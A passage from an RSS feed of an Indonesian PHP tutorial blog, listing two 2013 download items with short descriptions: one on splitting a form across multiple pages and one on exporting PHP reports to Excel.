<title>Contoh Membagi form dalam beberapa halaman</title>
<link>https://www.zainalhakim.web.id/download/contoh-membagi-form-dalam-beberapa-halaman.html</link>
<guid>https://www.zainalhakim.web.id/download/contoh-membagi-form-dalam-beberapa-halaman.html</guid>
<description><![CDATA[<p>Ada beberapa contoh kasus yang mengharuskan kita membagi form dalam  beberapa halaman, agar proses input lebih mudah dan dapat memunculkan  pilihan sesuai dengan inputan awal. Berikut ini saya akan berbagi contoh bagaimana membuat beberapa form yang terpisah halaman bisa saling  terhubung dalam sebuah proses.</p>
<p>Toturial lengkapnya : <a href="https://www.zainalhakim.web.id/posting/membagi-form-dalam-beberapa-halaman.html">Membagi form dalam beberapa halaman</a></p>]]></description>
<pubDate>Tue, 1 Oct 2013 00:10:56 GMT</pubDate>
</item>
<item>
<title>Contoh Membuat laporan dari php ke excel</title>
<link>https://www.zainalhakim.web.id/download/contoh-membuat-laporan-dari-php-ke-excel.html</link>
<guid>https://www.zainalhakim.web.id/download/contoh-membuat-laporan-dari-php-ke-excel.html</guid>
<description><![CDATA[<p>Dalam sebuah aplikasi berbasis web, biasanya kita diminta untuk   menghasilkan laporan dalam berbagai format. Yang paling umum yaitu   format html (langsung ditampilkan di browser), kemudian format pdf dan   format excel. Semuanya bertujuan untuk memudahkan pengelolaan data lebih   lanjut ke berbagai keperluan. Berikut ini saya akan berbagi tentang   cara mudah membuat laporan dari php ke excel.</p>
<p>Silahkan baca toturial lengkapnya <a href="https://www.zainalhakim.web.id/posting/membuat-laporan-dari-php-ke-excel.html">Membuat laporan dari php ke excel</a></p>]]></description>
<pubDate>Sat, 3 Aug 2013 21:08:40 GMT</pubDate>
</item>
<atom:link href="https://www.zainalhakim.web.id/feeds/" rel="self" type="application/rss+xml" />
</channel>
</rss>
